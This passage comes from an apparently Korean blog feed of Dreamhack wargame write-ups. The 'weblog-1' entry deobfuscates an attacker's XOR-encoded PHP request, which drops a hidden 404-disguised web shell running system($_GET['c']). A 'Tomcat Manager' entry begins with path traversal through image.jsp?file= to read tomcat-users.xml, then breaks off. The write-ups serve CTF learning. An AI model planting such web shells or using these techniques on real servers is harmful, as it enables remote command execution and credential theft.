&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;39289&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;199&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/s5fcb/btrWU7avqLo/yVsu4fjIhlaicuiCQxEOWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/s5fcb/btrWU7avqLo/yVsu4fjIhlaicuiCQxEOWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/s5fcb/btrWU7avqLo/yVsu4fjIhlaicuiCQxEOWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fs5fcb%2FbtrWU7avqLo%2FyVsu4fjIhlaicuiCQxEOWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;199&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;199&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;memo.php&lt;/span&gt;&lt;span&gt;에 웹쉘을 삽입하여 &lt;/span&gt;&lt;span&gt;memo= ~ &lt;/span&gt;&lt;span&gt;보낸 뒤 &lt;/span&gt;&lt;span&gt;/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 &lt;/span&gt;&lt;span&gt;경로에 로그가 남았다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;웹쉘로 사용된 파일의 경로는 위와 같음으로 답으로 보내봤다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;5786&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;223&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rOX6B/btrWUHbZvxX/qP0ldaz5JlxvM4Kgyhc5RK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rOX6B/btrWUHbZvxX/qP0ldaz5JlxvM4Kgyhc5RK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rOX6B/btrWUHbZvxX/qP0ldaz5JlxvM4Kgyhc5RK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrOX6B%2FbtrWUHbZvxX%2FqP0ldaz5JlxvM4Kgyhc5RK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;223&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;223&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;1098873&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;생성된 웹쉘의 경로는 바로 이전에 찾았던 구문을 이용하면 된다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;5419&quot;&gt;
&lt;pre id=&quot;code_1674410009874&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;GET/admin/?page=memo.php&amp;amp;memo=%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E HTTP/1.1&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;134301&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;음 근데 &lt;/span&gt;&lt;span&gt;url&lt;/span&gt;&lt;span&gt;인코딩과 난독화가 되어 보기 힘들다&lt;/span&gt;&lt;span&gt;. 보기좋게 정리해보자.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;5426&quot;&gt;
&lt;pre id=&quot;code_1674410041720&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php function m($l, $T = 0) {
    $K = date('Y-m-d');
    $_ = strlen($l);
    $__ = strlen($K);
    for ($i = 0;$i &amp;lt; $_;$i++) {
        for ($j = 0;$j &amp;lt; $__;$j++) {
            if ($T) {
                $l[$i] = $K[$j] ^ $l[$i];
            } else {
                $l[$i] = $l[$i] ^ $K[$j];
            }
        }
    }
    return $l;
}
echo m('bmha[tqp[gkjpajpw');
echo m('+rev+sss+lpih+qthke`w+miecaw*tlt');
echo m('8;tlt$lae`av,&amp;amp;LPPT+5*5$040$Jkp$Bkqj`&amp;amp;-?w}wpai, [CAP_&amp;amp;g&amp;amp;Y-?'); 
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;916825&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;보기 좋게 정리해놓으면 위와 같다&lt;/span&gt;&lt;span&gt;. php&lt;/span&gt;&lt;span&gt;를 컴파일해보면&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;5423&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;154&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kHE1K/btrWS2U3Kko/HtPdqovFP552tOok9VbHWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kHE1K/btrWS2U3Kko/HtPdqovFP552tOok9VbHWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kHE1K/btrWS2U3Kko/HtPdqovFP552tOok9VbHWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkHE1K%2FbtrWS2U3Kko%2FHtPdqovFP552tOok9VbHWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;154&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;154&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;처음부터 잘못된 것 같다&lt;/span&gt;&lt;span&gt;. $k&lt;/span&gt;&lt;span&gt;에 &lt;/span&gt;&lt;span&gt;date(&amp;lsquo;Y-m-d&amp;rsquo;);&lt;/span&gt;&lt;span&gt;인데 들어간 값이 없다&lt;/span&gt;&lt;span&gt;. date&lt;/span&gt;&lt;span&gt;함수로 날짜를 받아서 넣은 것 같다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;웹쉘을 실행한 날짜를 찾아봤다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;5519&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;64&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lTg3u/btrWXjuTHic/U1qawbUgKkDSVt6YQPOFLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lTg3u/btrWXjuTHic/U1qawbUgKkDSVt6YQPOFLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lTg3u/btrWXjuTHic/U1qawbUgKkDSVt6YQPOFLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlTg3u%2FbtrWXjuTHic%2FU1qawbUgKkDSVt6YQPOFLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;64&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;64&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;2020-06-02&lt;/span&gt;&lt;span&gt;임을 확인했다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그러면 &lt;/span&gt;&lt;span&gt;date &lt;/span&gt;&lt;span&gt;대신 &lt;/span&gt;&lt;span&gt;2020-06-02&lt;/span&gt;&lt;span&gt;를 넣고 다시 컴파일해보자&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;5432&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;148&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dkTv4W/btrWR7oLrAA/7oQLydTyWYRkGvEsdUS50k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dkTv4W/btrWR7oLrAA/7oQLydTyWYRkGvEsdUS50k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dkTv4W/btrWR7oLrAA/7oQLydTyWYRkGvEsdUS50k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdkTv4W%2FbtrWR7oLrAA%2F7oQLydTyWYRkGvEsdUS50k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;148&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;148&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;104051&quot;&gt;
&lt;pre id=&quot;code_1674410546593&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;file_put_contents/var/www/html/uploads/images.php&amp;lt;?php header(&quot;HTTP/1.1 404 Not Found&quot;);system($_GET[&quot;c&quot;]);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;위와 같이 얻을 수 있었다&lt;/span&gt;&lt;span&gt;. /var&lt;/span&gt;&lt;span&gt;부터 답을 넣어보자&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;628029&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;250&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2pARF/btrWWtEottc/xTMNs65YlsN2d1AlNuOCWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2pARF/btrWWtEottc/xTMNs65YlsN2d1AlNuOCWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2pARF/btrWWtEottc/xTMNs65YlsN2d1AlNuOCWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2pARF%2FbtrWWtEottc%2FxTMNs65YlsN2d1AlNuOCWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;250&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;250&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;975697&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;바로 이전에 웹쉘의 경로를 찾았을 때 경로는 &lt;/span&gt;&lt;span&gt;var/www/html/uploads/images.php &lt;/span&gt;&lt;span&gt;이곳이었으니 &lt;/span&gt;&lt;span&gt;images.php?&lt;/span&gt;&lt;span&gt;를 기준으로 찾은 다음에 시간이 가장 빠른 것을 보면 된다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;5766&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;81&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIvEdV/btrWRkvxzab/81ABOIuD0NjHUpK6kAPBBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIvEdV/btrWRkvxzab/81ABOIuD0NjHUpK6kAPBBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIvEdV/btrWRkvxzab/81ABOIuD0NjHUpK6kAPBBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIvEdV%2FbtrWRkvxzab%2F81ABOIuD0NjHUpK6kAPBBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;81&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;81&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;104555&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;images.php&lt;/span&gt;&lt;span&gt;경로는 하나밖에 없어서 시간 비교할 필요가 없었다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;명령어는 &lt;/span&gt;&lt;span&gt;whoami &lt;/span&gt;&lt;span&gt;임을 알았기에 입력해서 보내면&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;955&quot; data-origin-height=&quot;231&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Lf2ez/btrWRXfyLrW/3arn02KCm83T7y0sKsNYW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Lf2ez/btrWRXfyLrW/3arn02KCm83T7y0sKsNYW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Lf2ez/btrWRXfyLrW/3arn02KCm83T7y0sKsNYW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLf2ez%2FbtrWRXfyLrW%2F3arn02KCm83T7y0sKsNYW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;955&quot; height=&quot;231&quot; data-origin-width=&quot;955&quot; data-origin-height=&quot;231&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag을 획득했다.&lt;/p&gt;</description>
      <category>Webhacking-Write-Up/Dreamhack</category>
      <category>dreamhack</category>
      <category>dreamhack weblog-1</category>
      <category>wargame</category>
      <category>weblog-1</category>
      <category>드림핵</category>
      <category>드림핵 weblog-1</category>
      <author>SlowTurtle_</author>
      <guid isPermaLink="true">https://godturtle.tistory.com/85</guid>
      <comments>https://godturtle.tistory.com/85#entry85comment</comments>
      <pubDate>Mon, 23 Jan 2023 07:03:57 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack] Tomcat Manager</title>
      <link>https://godturtle.tistory.com/84</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;[Dreamhack]&amp;nbsp;Tomcat&amp;nbsp;Manager&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;540&quot; data-origin-height=&quot;198&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0RYVb/btrWRQ1F5m5/lKRMqleX2WdPGgteYjvne0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0RYVb/btrWRQ1F5m5/lKRMqleX2WdPGgteYjvne0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0RYVb/btrWRQ1F5m5/lKRMqleX2WdPGgteYjvne0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0RYVb%2FbtrWRQ1F5m5%2FlKRMqleX2WdPGgteYjvne0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;540&quot; height=&quot;198&quot; data-origin-width=&quot;540&quot; data-origin-height=&quot;198&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;초기 화면에 사진은 image.jsp?file=working.png을 보면 알 수 있었다. 우선 제공된 파일들을 보자.&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;429585&quot;&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;241&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvowTO/btrWX4KU0xG/cOg5m1srOA2xX3fgL7fHc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvowTO/btrWX4KU0xG/cOg5m1srOA2xX3fgL7fHc0/img.png&quot; data-alt=&quot;&amp;amp;lt;Dockerfile&amp;amp;gt;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvowTO/btrWX4KU0xG/cOg5m1srOA2xX3fgL7fHc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcvowTO%2FbtrWX4KU0xG%2FcOg5m1srOA2xX3fgL7fHc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;241&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;241&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;&amp;lt;Dockerfile&amp;gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;51477&quot;&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;5792&quot;&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;101&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDpAFC/btrWXjuHwXl/wLD6SkIDUKUEpZdKIB2oqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDpAFC/btrWXjuHwXl/wLD6SkIDUKUEpZdKIB2oqk/img.png&quot; data-alt=&quot;&amp;amp;lt;tomcat-users.xml&amp;amp;gt;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDpAFC/btrWXjuHwXl/wLD6SkIDUKUEpZdKIB2oqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDpAFC%2FbtrWXjuHwXl%2FwLD6SkIDUKUEpZdKIB2oqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;101&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;101&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;&amp;lt;tomcat-users.xml&amp;gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;Dockerfile&lt;/span&gt;&lt;span&gt;을 보면 파일들의 경로가 다 나와있다&lt;/span&gt;&lt;span&gt;. image.jsp?file=&lt;/span&gt;&lt;span&gt;을 이용하여 저 상대경로로 접근해보자&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;5462&quot;&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;325&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/s08C0/btrWXi3CIwu/00nOxpelyv5dfyW64IKiX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/s08C0/btrWXi3CIwu/00nOxpelyv5dfyW64IKiX1/img.png&quot; data-alt=&quot;&amp;amp;lt;ROOT.war&amp;amp;gt;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/s08C0/btrWXi3CIwu/00nOxpelyv5dfyW64IKiX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fs08C0%2FbtrWXi3CIwu%2F00nOxpelyv5dfyW64IKiX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;325&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;325&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;&amp;lt;ROOT.war&amp;gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;ROOT.war&lt;/span&gt;&lt;span&gt;또한 안된다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;상대경로로 이것저것 다 해보다가 성공했다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;다른 이름으로 저장 받아서 &lt;/span&gt;&lt;span&gt;ROOT1.war&lt;/span&gt;&lt;span&gt;로 받았는데 확인할 게 없었다&lt;/span&gt;&lt;span&gt;. tomcat-users.xml&lt;/span&gt;&lt;span&gt;에 &lt;/span&gt;&lt;span&gt;password&lt;/span&gt;&lt;span&gt;가 &lt;/span&gt;&lt;span&gt;secret&lt;/span&gt;&lt;span&gt;이었는데 한 번 같은 방식으로 진행해봤다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;386&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EWJmg/btrWX538tUC/QkB0d9eqaZyPKTkppkZg6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EWJmg/btrWX538tUC/QkB0d9eqaZyPKTkppkZg6k/img.png&quot; data-alt=&quot;&amp;amp;lt;tomcat-users1.xml&amp;amp;gt;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EWJmg/btrWX538tUC/QkB0d9eqaZyPKTkppkZg6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEWJmg%2FbtrWX538tUC%2FQkB0d9eqaZyPKTkppkZg6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;386&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;386&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;&amp;lt;tomcat-users1.xml&amp;gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;접속에 성공했고 &lt;/span&gt;&lt;span&gt;tomcat-users1.xml&lt;/span&gt;&lt;span&gt;로 다운받아 엑셀로 열어봤더니 &lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;25978&quot;&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;98&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nUeAH/btrWU8fZ2FZ/iamjIw0loU0EsltHJUv2vk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nUeAH/btrWU8fZ2FZ/iamjIw0loU0EsltHJUv2vk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nUeAH/btrWU8fZ2FZ/iamjIw0loU0EsltHJUv2vk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnUeAH%2FbtrWU8fZ2FZ%2FiamjIw0loU0EsltHJUv2vk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;98&quot; data-origin-width=&quot;548&quot; 